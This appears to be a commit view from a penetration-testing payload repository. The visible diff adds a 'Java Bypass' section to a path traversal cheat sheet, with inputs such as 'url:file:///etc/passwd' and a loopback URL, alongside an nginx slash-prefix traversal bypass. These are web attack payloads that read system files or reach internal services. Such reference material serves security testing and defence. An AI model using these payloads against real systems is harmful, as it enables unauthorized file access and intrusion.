MSSQL Agent Command Execution

This commit is contained in:
Swissky
2022-03-10 11:05:17 +01:00
parent 540d3ca399
commit 4abd52697f
5 changed files with 113 additions and 13 deletions

View File

@@ -99,6 +99,16 @@ To bypass this behaviour just add forward slashes in front of the url:
```http://nginx-server////////../../```
### Java Bypass
Bypass Java's URL protocol
```powershell
url:file:///etc/passwd
url:http://127.0.0.1:8080
```
## Path Traversal
### Interesting Linux files